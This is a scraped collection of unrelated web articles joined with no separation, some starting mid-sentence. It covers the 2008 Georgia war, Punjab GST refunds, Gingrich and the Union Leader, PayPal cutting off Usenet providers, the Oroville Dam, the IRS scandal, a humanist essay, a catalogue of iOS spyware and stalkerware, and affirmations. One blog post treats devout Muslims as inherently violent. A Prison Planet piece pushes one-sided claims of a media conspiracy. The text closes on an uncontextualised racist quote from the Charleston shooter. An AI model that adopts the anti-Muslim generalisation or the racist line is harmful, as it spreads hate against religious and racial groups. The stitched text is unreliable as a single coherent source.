Most Popular SearchesNogovitsyn: Mercenaries working for Georgians may disguise themselves as Russians
Paul Joseph Watson
Prison Planet
Monday, August 18, 2008
Deputy Chief of the Russian General Staff Anatoly Nogovitsyn warns that Georgia may be planning to commit false flag terror attacks by using mercenaries dressed in Russian uniforms, as Russia moved to guard sensitive infrastructure against terrorist attacks.
In a news briefing on Monday, he said: “I cannot rule out that they might use mercenaries with Slavic appearance for a provocation, clad in the uniform of Russian servicemen, in order to commit subversive acts both on Ossetian and Russian territory.”
In response to the threat, Russia has stationed troops around the Inguri Hydroelectric Plant, viewed as a potential target.
(ARTICLE CONTINUES BELOW)
Nogovitsyn’s warning that Georgia may resort to subversion in order to enhance its well-groomed image of being the victim of a war that it started with the horrific bombardment of civilian targets in South Ossetia on August 8th, arrives amidst more examples of pro-Georgian western media bias.
A d v e r t i s e m e n t
Following in the footsteps of the BBC, Rupert Murdoch’s Sky News used footage of the South Ossetian capital, Tskhinvali in ruins after the Georgian assault and claimed it was the Georgian town of Gori after it was attacked by the Russians.
In reality, 70% of Tskhinvali was destroyed, whereas Gori suffered relatively little damage according to a United Nations aid convoy.
“Russia ’s TV channel Zvezda, which has five camera crews working in Tskhinvali, aired the same footage two days before, on Monday,” reports Pravda. “Sky News showed its report with no sound, whereas the people showed in the Russian report could be heard speaking Russian and Ossetian languages. The crying people shown in the report were heard cursing Georgian President Saakashvili for destructions and manslaughter.”
After the controversy came to light yesterday, the Sky News clip was quickly pulled from You Tube.
In addition, CNN last week showed Georgian forces attacking Russian civilians in Tskhinvali, the provincial capital of South Ossetia, but then claimed it showed Russians attacking Georgians in the Georgian town of Gori.
A 12-year-old American girl who was caught up in the brutal assault by Georgia on South Ossetia attempted to tell the truth about who the real aggressors were during a live Fox News interview, but she was quickly silenced by the host.
Western media coverage of the conflict has reflected a virulently pro-Georgia bias since the very start, once again proving that the press is not independent, but simply a mouthpiece for the same Anglo-American power structure for whom Georgia is merely another client state.
This article was posted: Monday, August 18, 2008 at 8:26 am
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Comment on this articleFunds stuck as no refund since its rollout in July
Ruchika M Khanna
Tribune News Service
Chandigarh, September 25
The Goods and Services Tax (GST) seems to have played havoc with Punjab’s fragile economy. Not only has the poor inflow of Integrated Goods and Services Tax (IGST) and the Central Goods and Services Tax (CGST) hit the state government, which is unable to meet its committed liabilities, it has also adversely affected the industry.
The industry rues that it is facing the worst liquidity crunch ever and industrial production too is slowing down like never before. With huge reserves of their money locked in GST refunds, exporters say that anything between 30 and 56 per cent of their working capital is now locked in refunds. This means that the industry has no money to purchase raw material, transport goods to customers or for shipping goods to buyers abroad.
A top auto parts manufacturer in Ludhiana told The Tribune that the credit and cash cycle was now broken. “The payment cycle in the business in Ludhiana was between two to three months wherein credit was extended to buyers. Before the GST rollout, the VAT rate was lower, thus refund was much lower. VAT had to be paid each quarter, while the GST has to be paid each month and the tax rate is higher too,” he said.
Badish Jindal, president, Federation of Punjab Small Industries Association, said the GST had come as another big blow to the industry after demonetisation. “It’s been three months since the GST rollout. Around 56 per cent of manufacturers’ working capital is stuck. Sales are under pressure and no one is building stocks. As a result, the banks too have lowered our borrowing limit,” he said.
AK Kohli, senior vice-president, Punjab Chamber of Small Exporters, said: “The government, sensing some anomaly in huge refunds sought by exporters, has initiated an audit of all cases where refund is more than Rs 1 crore. At least 30 per cent of my working capital is stuck. How do you expect me to run my business?”
Realising the economic slowdown arising with the shift in tax regime, the Punjab Excise Department has initiated its own process of releasing old VAT refunds. ‘We have realised that the industry is going through a crisis. We are in the process of releasing VAT refunds worth Rs 300 crore pending with the state government,” Excise and Taxation Commissioner Vivek Pratap Singh said.A Muslim man wielding a sword screamed that he would “die and kill for Allah” as he chased his terrified neighbor down the street. It happened on Monday in Victorville, California, located in San Bernardino County. The Victor Valley News reports that the suspect, Mohamed Elrawi, was taken into custody after investigators searched his home and found a copy of the Quran and other items suggesting he had become “radicalized.” (I happen to think the word “radicalized” is as bogus as the term “radical Islam.” People do not become radicalized. They become devout.)
Breitbart reports that a Jordanian with an American passport proclaimed he wanted “to join Allah” while attempting to open a plane door mid-flight. The flight crew and passengers had to restrain him until the plane was able to land.
The incident occurred... when the man – a Jordanian with an American passport – began to scream that he wished to join Allah and had to be restrained. Crew and passengers, which included the Serbian national handball team, lended their efforts to keeping the man restrained on Flight 1406, an Airbus A319 before he was arrested upon landing in Serbia. Milan Djukic, president of the Vojvodina handball team said: “About halfway into the flight he tried to open a plane door, but the cabin crew stopped him.” Two players from the team, at the request of flight stewards, reportedly watched the man who is said to have spoken English in an American accent. He was placed in the business class section until landing, according to the Daily Mail. A Lufthansa spokesman said: “A passenger got up and tried to do something at the door, but was stopped by crew members and other passengers. “The passenger was then restrained for the remainder of the flight in his seat and handed over to the authorities in Belgrade.
That’s creepy, too
But as creepy as this? The Daily Mail reports:
A Muslim convert who protested outside Parliament with a sign saying 'I am Muslim, do you trust me enough for a hug?' is facing jail for threatening to bomb an MP's house. Craig Wallace used the sign as Stop The War protesters came to Westminster for the vote on military action in Syria last week. It stated: 'I am Muslim, I am labelled a terrorist, I trust you, do you trust me enough for a hug?' But the 23-year-old, of Willesden Green, north London, is now facing a possible prison sentence after he threatened Tory MP Charlotte Leslie online following the vote. Wallace, who calls himself Muhammad Mujahid Islam online, wrote on Facebook: 'I'm going to smash her windows then drop a bomb on her house while she's tucked up in bed. You dirty f****** pig-s******* s***.' On December 3, the day after MPs voted to authorise the air strikes, he wrote: 'I'm going to find her and show her what it's like to murder innocents. You dirty pig-f****** w****.' (snip) His defence lawyer Abu Sayeed said Wallace had posted the messages after he had been out protesting against the Syrian bombing vote for 'two or three days and had very little sleep and had not taken his medication.' (snip) Wallace, whose mother died when he was young and who claims his father abused him as a child, had attended an anti-war rally outside Parliament on the day of the Syria vote and was pictured carrying a giant white poppy.
Apparently many Londoners were moved to tears by the man’s action as he stood blindfolded (by a keffiya, of course) with the sign at his feet, as one needy person after another gave him hugs.
The Muslim as victim narrative just doesn’t quit, even if the person threatened to bomb the house of a member of Parliament.
Well, but after all, he was upset. And tired (two days of protest will really take it out of you). And off his meds. And his mother died when he was young. And his father abused him. But he carried a large white poppy as a sign of peace and said he trusted everyone and everyone should trust him, so it’s all good, right?
Ashleigh Banfield, call your office.
Hat tip: Jihad WatchIn a stunning revelation of journalistic duplicity, the New York Times reports:
Even though Mr. Gingrich publicly insists that he will take the high road with a positive campaign that does not criticize other Republicans, he recently strayed from that vow, offering himself as an anonymous source in a New Hampshire newspaper last week to reply to criticism by John H. Sununu, a former aide to President George H. W. Bush who, as a Romney surrogate, has called Mr. Gingrich “untrustworthy and unprincipled.”
Mr. Sununu told the newspaper, the Union Leader, that Mr. Gingrich supported a tax increase deal that the first President Bush made with Democrats in 1990, then reversed himself. The newspaper, quoting a source identified as “a senior aide in the Gingrich campaign,” elaborately rebutted this account.
[R.C.]Hammond [Gingrich spokesman’s] said the source was actually Mr. Gingrich, who did not want to be identified to avoid the impression he was getting into a fight with the Romney camp.
The original Union Leader story quoted Sununu recounting Gingrich’s about-face in privately supporting and then publicly opposing the George H.W. Bush deal that violated the “read my lips, no new taxes” pledge. The Union Leader included this:
He said the White House had assured Gingrich and [chief Senate GOP negotiator Phil] Gramm “we would not accept any agreement they did not support.”
A senior aide in the Gingrich campaign said Gingrich’s position was that he was consistently opposed to new taxes and that he “had said consistently to Sununu and (former Office of Management and Budget Director) Dick Darman that he would not support a net tax increase.”
The aide said that “things were represented to Gingrich in the afternoon that, when checked, turned out not to be accurate. There was a net tax increase, and the Republicans didn’t get the things they were told they were going to get.”
Sununu said Gingrich was clearly aware of the tax increases included in the plan when he agreed to it.
The Gingrich aide said Bush’s 1988 no-new-taxes pledge had “thrilled” Gingrich, who believed it fueled the Republican enthusiasm that sent Bush to the White House.
But, the aide said, Gingrich was “shocked when the President was forced by the Democrats to back off that commitment in the summer of 1990.”
The Gingrich aide said that the morning the budget agreement was to be announced and the key players gathered in the Cabinet room of the White House, “Gingrich stayed with the Bush 1988 pledge of no new taxes and said, with sadness, that he could not agree to go along with the tax increase. He was the only person in the room to say that.
“When all the rest of them trooped into the Rose Garden, Gingrich walked out the front door,” the aide recalled.
The aide also noted that Gingrich “clearly represented the majority of House Republicans because in the vote, an overwhelming majority voted against the tax increase.”
I contacted the reporter and Joe McQuaid, the outspoken Union Leader publisher who recently endorsed Gingrich. I asked a series of questions: Is the New York Times story accurate in reporting that you allowed Gingrich to speak as a senior aide in rebutting statements by John Sununu? Was this misleading to readers? R.C. Hammond [a Gingrich spokesman] says Gingrich did this to hide the fact he was engaging Romney. Should the Union Leader have assisted in this effort? Does the Union Leader have guidelines for unnamed sources? Do you owe readers an apology? Was your cooperation influenced by the Union Leader’s decision to endorse Gingrich?
The reporter wasn’t allowed to respond But McQuaid e-mailed back. “Thanks for alerting me to the NY Times piece. Not sure about the Times, or the Post, but the Union Leader does not disclose its sources.” But, I pointed out, the source’s spokesman had already revealed him. McQuaid replied: “As I said, we do not disclose our sources.”
I pressed him about whether the Union Leader had any standards on use of unnamed sources. He did not reply.
This is outrageous on multiple levels. First, the only reason to afford Gingrich anonymity to deliver the self-serving defense of his own conduct would be to, as Hammond revealed, spare him from revealing what he was doing, namely engaging a Romney surrogate. In doing so, the Union Leader made itself an arm of the Gingrich campaign and misled its readers into thinking Gingrich himself was remaining above the fray.
I asked Ari Fleischer, former White House press secretary, for his take. He is neutral in the primary and has known Gingrich for more than 15 years. He responded, “I find the whole thing bizarre. Journalistically, the Union Leader never should allowed it, but more importantly, behaving one way in public and another way in private is a problem for Newt. If he’s going to act above it all, he needs to conduct himself above it all.”
As for McQuaid’s refusal to discuss the matter, his comment on not ”revealing” sources is disingenuous. The source revealed himself. Now, McQuaid is hiding behind a journalistic standard that no longer is applicable.
The Union Leader can endorse whomever it pleases. McQuaid need not even make a reasoned argument for its choice. But to then co-opt its news reporters and enlist them in an effort to boost the man they endorsed is wrong and brings discredit on the paper, its publisher and its reporters. The rest of its coverage of the 2012 presidential primary is now suspect.
It’s a revealing episode and a caution that when a publication with strong leadership goes “all in” for a candidate, no one comes out looking well.After banning several of the largest file-hosting sites, PayPal is now taking aim at Usenet services. The payment processor has just cut off several providers of Usenet services and frozen the funds in their accounts. These actions are due to growing copyright infringement concerns which have resulted in an extremely strict and in some cases privacy-violating set of requirements being laid down by the payment processing company.
PayPal is widely known for their aggressive stance towards BitTorrent sites and file-sharing services, and now this policy has also been actively applied to Usenet providers.
On Tuesday, PayPal cut off its services to five Usenet resellers including XSUsenet, EasyUsenet and Usenet4U, reports the Dutch news site Tweakers. The Usenet providers can no longer accept PayPal payments and the funds that remain in their accounts have been frozen for 180 days.
While this is the first time that we have heard about Usenet providers being banned, the actions don’t come as a complete surprise. To be accepted by PayPal, file-hosting services now have to comply with a list of far-reaching demands entirely targeted at copyright-infringing and otherwise illegal files.
These terms also apply to Newsgroups.
PayPal’s terms
Several of the disconnected Usenet providers confirm that their accounts were suspended because they violated the above terms. However, at least one of the affected companies said it was never asked for any of the information detailed above, while it clearly indicated that it was operating a Usenet service.
PayPal’s decision is a financial blow to the companies involved. Firstly because customers who prefer to pay through PayPal will take their business elsewhere, and secondly because they lose access to a substantial amount of funds.
TorrentFreak previously reported that several major file-hosting services suffered the same fate as these Usenet providers. Although PayPal was willing to continue doing business with some, the set of demands was too extreme for many file-sharing companies to comply with.
Just how far PayPal is prepared to go was explained to us by Putlocker. The UK-based company had its PayPal account frozen several months ago after it refused to allow the payment provider to snoop on files uploaded by its users.
“They basically wanted access to the backend to monitor all the files being uploaded, and listing all files of users if they wanted, regardless of the privacy setting that the user might have selected,” Putlocker told TorrentFreak.
“This is a complete invasion of privacy on PayPal’s part, as it’s none of their business what files users keep in their account. We have a solid abuse handling policy already, and we don’t feel a 3rd party company has any business snooping on our users,” the company added.
MediaFire, another large cyberlocker, also said it stopped accepting PayPal after the company was unable to reach an agreement with the payment company.
While there are still file-hosting services and Usenet providers that accept PayPal payments, this number is expected to decline further in the months to come. It is clear that PayPal’s new policies are in part the result of the copyright lobby. The question is, where will PayPal draw the line?There’s some bitter irony to the problem of too much water menacing the Golden State. California has suffered through a long and severe drought, at times driving Governor Jerry Brown to institute stringent—critics say draconian—water controls. This winter has seen much more snow and rain, which is good news for the parched state, but bad news for the Oroville Dam, where huge amounts of water are collecting. The lake rose 50 feet in a matter of days. Earlier in February, as operators let water over a concrete spillway to reduce the pressure, a crater appeared in the spillway. Faced with too much water in the lake, they continued to use the spillway anyway, and the damage got worse. On Friday, the crater was 45 feet deep, 300 feet wide, and 500 feet long.
There’s a backup for the concrete spillway, an auxiliary spillway that had never been used. It’s really just a hillside sloping down from the reservoir, covered in brush and trees. As the situation became more dire last week, crews starting clearing the slope for its first baptism. Managers hoped pressing the auxiliary spillway into service would give them time to patch up the concrete spillway over what’s expected to be a drier season. (That could be easier said than done: Snowpack upstream is 150 percent of normal for this time of year, meaning there’s going to be more melt headed downstream than normal.)
Initially, that seemed to do the trick: The water level in Lake Oroville was dropping, and the danger seemed to be abating. On Sunday, however, officials noticed the auxiliary spillway was starting to erode—at the same time that huge amounts of water continued to flow into the lake. The fear is that if the spillway gives out, a wall of water could push down out of Lake Oroville and toward lower ground. Workers are trying to shore up the emergency spillway with bags of rocks, including dropping them from helicopters. If it gives way, the Feather River would flood downstream, and might wash out other levees farther down the river. Meanwhile, debris from erosion also forced the state Department of Water Resources, the dam’s operator, to shut down its power plant, which could have helped to release some additional water. And there’s rain forecast for later this week.
How did the situation get so dire? One part of that is the seesaw state of the drought, with the weather moving from dry to saturated in a matter of months. (While droughts are a normal part of the globe’s climate, scientists say human-caused climate change has exacerbated them, increasing the severity of California’s drought by as much as 20 percent.)
Dam operators can’t control the weather, but they can try to prepare for unexpected events like the sudden inundation of Lake Oroville with consistent maintenance. One question in this case is whether the Oroville Dam has been adequately maintained.Jay Sekulow, chief counsel at the American Center for Law and Justice, testified before a House committee yesterday on the IRS scandal. He's representing 41 of the conservative groups that say they were illegally targeted by the IRS.
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During his testimony, he pointed to emails sent by former IRS official Lois Lerner that appear to contradict the administration's assertions that the targeting was not a coordinated effort from Washington.
The emails were released by the House Ways and Means Committee as part of its probe of the IRS scandal.
Sekulow explained that the emails show Lerner in contact with the IRS' chief counsel and other top lawyers at least a year before the scandal became public. He said that Lerner wrote about coming up with new rules to restrict non-profit groups.
"They wanted to do it 'off-plan,' which means off the books so it's not on the public calendar. And all of that was taking place while the targeting was going on," he explained. Sekulow says the emails disprove the Obama administration's story about the targeting originating in a remote office among lower level IRS agents.
Explosive IRS Hearing: 'Will You Let Them Get Away With This?'
Sekulow believes the email is a "smoking gun" in his plaintiffs' case against the IRS.
"Legally, the IRS has been caught red-handed and the American people and certainly our plaintiffs are not taking it lying down," said Sekulow. He believes a special prosecutor must be called on to investigate, since the head of the current probe has been found to be a big Obama campaign donor.
"When you see these emails and you understand what's in them, you realize the highest level of the IRS was conspiring with Lois Lerner at least a year before this scandal broke. And what they've attempted to do now is just cover their tracks."
Watch the full discussion above.Being an interfaith chaplain, I attend many events that are focused on multireligious education and dialogue, and lead several such events with my own students. A very popular activity for these gatherings is to visit local sacred sites and religious communities. These visits allow us to observe the religious and spiritual practices of different religious groups, improving our own religious literacy through tangible experiences. We can see not only how someone else expresses their religious practice, but also the setting in which they feel most connected to their beliefs and traditions. On one such recent trip, I was asked where – as a secular humanist – I might take folks to represent the practices and beliefs of my humanist community. After thinking for a moment, I responded, “I’d take everyone to a shelter to serve a meal together.”
I think my questioner expected me to say something more along the lines of visiting a secular Sunday Assembly. That would of course be an option, but I don’t believe it serves the same purpose. Sunday Assemblies and other “Atheist Churches” are about finding like-minded community, and building a hub from which we can go out and live our humanist ideals in the world. Taking people to a place of service is where the work is being done, where I feel a sense of purpose, and where I feel that my beliefs become tangible. If I were to find the secular sacred it would be in service to my community, working for the betterment of all.
Sacred Space and Sacred Time
In The Stuff of Thought, Steven Pinker points out – among many, many other things – the ways in which our language conflates space and time. We tend to visualize time linearly, usually on a time line where time “moves” in only one direction, and we measure the “distance” between two points on that time line in minutes and millennia. Early calendars were first developed by watching and measuring how movement in space could be used to measure the passing of time. It’s common to say things such as, “the day got away from me”, “time flies”, or other phrases that connect time to movement in space. Time and space are bounded only by our ability to understand them, and because of our limitations we see them in relatively similar terms.
Similar to how many religious communities have sacred spaces where they gather for ceremonies, worship, or prayer, there are also sacred times. Certain times of year resonate with rebirth and new beginnings because the earth itself is becoming fertile with new life. Similarly, many religious traditions have festivals of thanksgiving during the harvest season, or with the start of the rainy season that makes agriculture possible. In the United States, late December is “the most wonderful time of the year” because for the majority of Christian Americans, Christmastime represents the light of God entering into the world despite the short, cold days and long, colder nights of midwinter. Humanists have certain holidays, rituals, and times of year, including HumanLight, which celebrate certain aspects of Humanism and build onto the existing celebratory nature of these culturally sacred times.
If we unpack the idea of what makes a space – or a time – sacred for a community, we find an emphasis on serving the needs of that community, and supporting the role that community hopes to play in the world. Just as certain times and locations can be sacred, so too can activities. Offering service to others is one of the times when I feel as though I am most in touch with what is sacred to me. As a humanist, I believe first and foremost in total equality and communal responsibility. These tenants readily translate to a sense of fulfillment when serving others and working to improve the lives of those around as well as the world at large. It might be serving a meal with a local soup kitchen, donating blood, collecting donations of books, school supplies, and warm clothing, or cleaning debris and garbage from the river. When I am serving others and promoting selfless service, I am experiencing the sacred. Even better, these actions provide the opportunity for people to come together and serve side by side. Just as religious groups might gather for worship and prayer, people can come together to serve and to feel connected to one another and their communities.
Humanists and other secularists do not have a monopoly on service, and serving communities is a major part of religious life in the United States. Over the past few decades, there appears to be a shift in multi-religious communities away from dialogue and towards collaborative service. This shift coalesces with the increasing inclusion of secular humanists and other non-religious partners. While our inclusion may not be the cause of a new emphasis on work and service, I don’t think it’s entirely a coincidence, either. Service is the equalizer that dialogue struggles to be. We don’t have to agree on what “sacred” even means for each of us to feel a sense of purpose and connection while building a house or cooking a meal for someone else. Communication and commonality become less important as shared purpose and shared responsibility become our focus, and while we are all able to experience the sacred or the good in our own way, we are united in purpose and concern for fellow humanity.
Finding the Individual Sacred
Secular Humanists may not have designated sacred space in the same way that religious communities do, but we each have access to the sacred in our own way. I grew up spending my summers in Maine. Running through the woods, boating on the lake, plucking blueberries as we carried wood
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March 2017)
Lookout reported that scammers had "abused the handling of pop-up dialogs in Mobile Safari in such a way that it would lock out a victim from using the browser. The attack would block use of the Safari browser on iOS until the victim pays the attacker money in the form of an iTunes Gift Card. During the lockout, the attackers displayed threatening messaging in an attempt to scare and coerce victims into paying. However, a knowledgeable user could restore functionality of Mobile Safari by clearing the browser’s cache via the the iOS Settings — the attack doesn’t actually encrypt any data and hold it ransom."
iOS 10.3 changed the handling of JavaScript pop-ups to prevent this problem, making pop-ups "per-tab rather than taking over the entire app".
FinSpy Mobile (August 2012)
FinFisher is a suite of commercial surveillance tools sold to governments, which have been used to target activists and other people. The suite includes spyware tools for many mobile operating systems, including iOS.
DROPOUTJEEP (December 2013)
In December 2013, a conference presentation included information about a NSA tool called DROPOUTJEEP: "a software implant for the Apple iPhone that utilizes modular mission applications to provide specific SIGINT functionality. This functionality includes the ability to remotely push/pull files from the device. SMS retrieval, contact list retrieval, voicemail, geolocation, hot mic, camera capture, cell tower location, etc. Command, control and data exfiltration can occur over SMS messaging or a GPRS data connection. All communications with the implant will be covert and encrypted.” The information was from an internal NSA software catalog from 2008. The presenter speculated that Apple had helped build this tool, and Apple said it "has never worked with the NSA to create a backdoor in any of our products".
Hacking Team is a company that "sells offensive intrusion and surveillance capabilities to governments and law enforcement agencies", including iOS spyware tools. The iOS spyware tools appear designed for targeting/attacking specific people, not for broad surveillance of the public. Their main tool (Remote Control System) requires a jailbroken device, and they were researching options for non-jailbroken devices.
Inception (December 2014)
Inception is an "attack framework" from an unknown source that targets individuals to steal information, using phishing emails and other techniques along with malware for iOS and other mobile operating systems, described in this post by security researchers who identified it. According to the whitepaper from those security researchers, a target may receive a phishing email with a link that says it's a WhatsApp update, and if clicked on jailbroken iOS, it triggers "the download of a Debian installer package, WhatsAppUpdate.deb, also 1.2Mb in size. This application impersonates a Cydia installer, and can only be installed on a jailbroken phone" (page 23). It's unclear what they mean by "impersonates a Cydia installer", but a.deb file is the standard format for software packages installable via Cydia. The iOS malware collects the device's ICCID, address book, phone number, MAC address, and other information.
Another group of security researchers also identified this attack framework and called it Cloud Atlas.
More articles: Apple Insider, Forbes. There is a sample download available via this blog.
XAgent (February 2015)
XAgent is a surveillance tool targeting specific people (such as people in governments, the military, and journalists) that can affect both non-jailbroken and jailbroken devices, as described in this article by Trend Micro. Also covered by PCWorld.
Pegasus (August 2016)
Pegasus is a spyware product for iOS built by NSO Group, sold to governments, which has been used for attacks against political dissidents. It uses a chain of exploits nicknamed Trident to silently jailbreak the target device, and then it installs malware. Lookout Security described it in a post and a technical analysis. Citizen Lab wrote a post about its use.
In June 2017, the New York Times reported that the Mexican government used Pegasus to target human rights lawyers, journalists and anti-corruption activists.
Cellebrite (February 2017)
As reported by Motherboard in February 2017, Cellebrite is "an Israeli firm which specializes in extracting data from mobile phones for law enforcement agencies". According to leaked information, "much of the iOS-related code is very similar to that used in the jailbreaking scene", such as limera1n and QuickPwn, with additions: "some of the code in the dump was designed to brute force PIN numbers". The leaked files are available online.
CIA "Vault 7" materials (March 2017)
On March 7, 2017, WikiLeaks released a collection of CIA documents called Vault 7, dated from 2013 to 2016, that include information about CIA hacking tools for iOS devices. The materials include documentation for CIA iOS exploitation research and a list of iOS exploits they have.
iSAM (June 2011)
iSAM is a malware tool developed by security researchers as a proof of concept. It affects both jailbroken and not-yet-jailbroken devices: it scans for jailbroken devices that have SSH running and the default root password, and it also includes a malicious version of the Star exploit (JailbreakMe 2.0) so it can jailbreak a device that isn't jailbroken yet.
Instastock (November 2011)
Charlie Miller, a security researcher, submitted an app to the App Store called Instastock to demonstrate "a flaw in Apple’s restrictions on code signing on iOS devices". The app was initially accepted and then pulled from the store.
Mactans (July 2013)
At the Black Hat 2013 conference, security researchers presented a tool called Mactans, a small device that looks like a charger but can insert malware if you plug an iOS device into it. The iOS device does not have to be jailbroken.
Jekyll (August 2013)
At the USENIX Security Symposium in 2013, security researchers described a method for getting a malicious app approved for the App Store, "created with remotely-exploitable vulnerabilities built in, masked by legitimate features to evade detection during the App Store approval process, but ready to be triggered once the app was installed on an iOS device." They successfully got an app approved for the App Store with this method (which "was only active for a few minutes following its launch in March, and during that time it wasn't installed by anyone not involved in the experiment").
XARA attacks (June 2015)
Security researchers found methods for "cross-app resource access" (XARA) attacks on OS X and iOS, and they submitted malicious proof-of-concept apps to the Mac and iOS App Store. Apple approved the apps, and the researchers immediately removed them from the stores. These XARA attacks were ways of bypassing the sandboxes that are supposed to prevent an app from accessing files that don't belong to that app, described by the security researchers in a paper. Ars Technica article.
NeonEggShell (August 2015)
NeonEggShell is a command shell creation tool for iOS and OS X. The author says "This project is a proof of concept way to demon strate how easy it is to take over a whole device with a piece of code no bigger than a twitter post." The project includes tools for making payloads for jailbroken iOS, with features such as keylogging and location tracking. By default, the tool includes a "prompt that asks for permission before allowing any connection to the remote server."
1mole
1mole is a spying tool available to the public via their own repository, authored by Bosspy. It describes itself on its website as "For Parents" ("Have your children going home after school? Consult their GPS position to be sure."), "For individuals" ("You think about your lost or stolen mobile phone."), and "For Employers" ("Install the software on your business phones and locate them in real time"). Its feature list includes "Track GPS locations" and "Capture the lock sreen passcode" for free, and "Record text messages", "Log Calls details", "Website monitoring", and "Keylogger" as paid services.
Copy9
Copy9 is a spying tool available to the public via the ModMyi repository (a default repository), authored by Copy9. It describes itself as "will be installed on target iDevice to find out a thief, cheating spouses, monitor chidren/employees or simply backup data from your devices to our cloud server. This is the best spyware on the world in spying field." Copy9 website.
Copy10
Copy10 is a similar but separate spying tool available to the public via the ModMyi repository (a default repository), authored by IntelMobi/goldenspy. Their description includes "Are you having trust issues in your relationship? Sign that your kid's personality has changed and their behaviors, does your teenager hang out with friends you're concerned about? What if you believe one of your employees is a spy or is stealing company's technology, intellectual property or trade secrets?" IntelMobi website.
FlexiSPY
FlexiSPY is a spying tool available to the public presumably via their own repository (this isn't specified on their website, but it's specified that you need the device to be jailbroken), authored by Flexispy, Ltd. Their website says "If you have a committed relationship with your partner or are responsible for a child or employee YOU HAVE A RIGHT TO KNOW To protect your relationship, spy on their iPhone."
iKeyGuard Key Logger
iKeyGuard Key Logger is a keylogging tool available to the public via the BigBoss repository (a default repository), authored by iKeyGuard. Its description includes "Warning: Logging other people without their permission might be illegal in your country! Make sure you abide by your local law."
iKeyMonitor keylogger
iKeyMonitor keylogger is a keylogging tool available to the public via the BigBoss repository (a default repository), authored by Awosoft Technology. Its website includes "How to monitor your children's cell phone to discover the truth and protect them from potential dangers? Now with iKeyMonitor you can uncover the truth by secretly monitoring mobile phones and tablets such as iPhone/iPad/iPod and Android device."
InnovaSPY
InnovaSPY is a spying tool available to the public via the ModMyi repository (a default repository), authored by Innovaspy. Its description says "Perfect iPhone spy app" and lists reasons to use it as "Protect your child from cyber predators" and "Find out THE TRUE from cheating spouse?" Related package: InnovaMonitor, a monitoring app for use with the spy tool. InnovaSPY website.
Mobile Spy
Mobile Spy is a spying tool available to the public via their own repository, authored by Retina-X Studios. Their website says "View your Child or Employee's Smartphone and Tablet Usage. Monitor text messages, GPS locations, call details, photos and social media activity. View the screen and location LIVE!"
MobiStealth
MobiStealth is a spying tool available to the public for both jailbroken iOS (presumably installed via their own repository) and non-jailbroken iOS ("All that you require is the Apple ID and password of the iPhone or iPad that you want to monitor to get remote access to"). Their website includes "Are your employees misusing company owned phones? Are your kids getting more possessed and do not want to share anything with you? Stop wondering and thinking all day long, Mobistealth iPhone spy app is exactly what you need."
mSpy
mSpy is a spying tool available to the public via the BigBoss repository (a default repository), authored by Mtechnology. Its description of itself: "mSpy is the best tracking and spy application that allows users to keep a check on the cell phone activities of their kids other family members or employees in order to avoid any unwanted behavior or for safety purposes."
The mSpy website indicates that they also have a version for non-jailbroken devices.
In May 2015, mSpy had a customer data breach.
OwnSpy
OwnSpy is a spying tool available to the public via the ModMyi repository (a default repository), authored by Antonio Calatrava. It describes itself as "Spy your own iPhone or iPad", with call recording, location tracking, and other features. It has a warning that says "Installing OwnSpy on a device that does not belong to you is a criminal offense and may be prosecuted. Mobile Innovations will help authorities if required." OwnSpy website.
Spy App
Spy App is a spying tool available to the public via the ModMyi repository (a default repository), authored by dmarinov. Its description includes "Remotely spy SMS, Emails, Call Logs, GPS Location, Key presses (Keylogger)" and other features. It says it is "absolutely invisible and undetectable."
SpyKey
SpyKey is a keylogging tool available to the public via the BigBoss repository (a default repository), authored by Kobi Snir. Its description includes "a simple app that let you monitor your PC Keyboard activity in real time, Simply connect your iphone to your compute using your Wifi or 3G connection and start monitoring." The SpyKey website includes "Great use for parental control purposes, protect your kids from chating with strangers!", "Discover usernames & passwords", and "Spy unfaithfull husband or wife."
StealthGenie
StealthGenie was a spying tool available to the public via their own repository. It also supported other mobile operating systems. In November 2014, the person who advertised and sold this product was charged with a federal crime and fined $500,000. The charge was "sale of an interception device and advertisement of a known interception device", a wiretapping crime. A Forbes article says "according to the FBI, Akbar and his team developed an internal business plan that revealed that — duh — the primary target audience for the app was people who thought their partners were cheating." The Forbes article points out #Mobile Spy, #mSpy, #FlexiSPY, and #MobiStealth as similar products.
Trapsms
Trapsms was an early spying tool available to the public, described in this post by a security researcher in July 2009. She says: "The spyware installs on any jailbroken iPhone. In Cydia (an iPhone front-end to help installing third-party applications), you first add the URL of the spyware's repository and then install the two spyware packages."Thought for the day.
Recently when I sat down for my morning meditation I began to write affirmations as they came to me and what came to me was a series of “Today I am attracting…” affirmations.
I realized that I was getting clear on what I want to attract into my life… for when we are not clear on what we want to attract and do so deliberately, we are always attracting by default.
We are always attracting what we are thinking… whether we want it or not.
hmmm…. think about that.
What are you attracting today?
If what we attract to us is a result of the thoughts we are thinking, and we are not conscious of those thoughts we therefore are attracting whatever it is we are UN-consciously thinking about so who knows what we will bring into our lives.
It certainly will not be what we WANT to attract if we have not defined what it is we DO want to attract… right?
So, I share with you today the affirmations that came to me in the hope that they will be of benefit to you and to encourage you to decide every day what it is you want to attract to you.
You may use these affirmations as you please and also add your own to consciously attract what you want each day.
Today I am attracting positivity and joy into my life.
Today I am attracting positive and considerate people into my life.
Today I am attracting motivated souls who want to make a difference in the world.
Today I am attracting inspirational guidance to make the most of my day.
Today I am attracting new customers and business partners who have money and motivation.
Today I am attracting new income streams.
Today I am attracting new friends.
Today I am attracting wealth, abundance and wellbeing.
Today I am attracting a greater love for myself.
Today I am attracting a deeper understanding of myself and my role in the world.
Today I am attracting a clear and conscious mind.
Today I am attracting clarity.
Today I am attracting the ability to eliminate activities and beliefs that no longer serve my divine purpose.
Today I am attracting divine inspiration.
Today I am attracting love.
Today I am attracting peace and serenity.
Today I am attracting greater resilience and inner strength.
So stop for a moment and ask yourself what are you attracting today?
What will you attract tomorrow? And is what you are attracting into your life the best thing for you. Do you need to change your thinking, do you need to let go of old patterns of negative behaviour that continue to do you a disservice. If so know that you have the power to change all of that just by changing your focus.
Remember YOU ARE WHAT YOUR FOCUS. ❤
Daily Focus.
Please pass along the positivity by hitting the share button and dont forget to attract only what you truly want into your life and you really can do that by being concious of your focus and your thoughts.
Why not write down on post it notes exactly what you do want to attract into your life and leave them in highly visible places around your home so that every time you see them you can remind yourself to draw what you want into your life.
Have a beautifully blessed day. Love Tony T. ❤Worshippers gather to pray down the street from the Emanuel AME Church following a shooting Wednesday, June 17, 2015, in Charleston, S.C. (AP Photo/David Goldman)
“I have to do it. You rape our women and you’re taking over our country. And you have to go.”
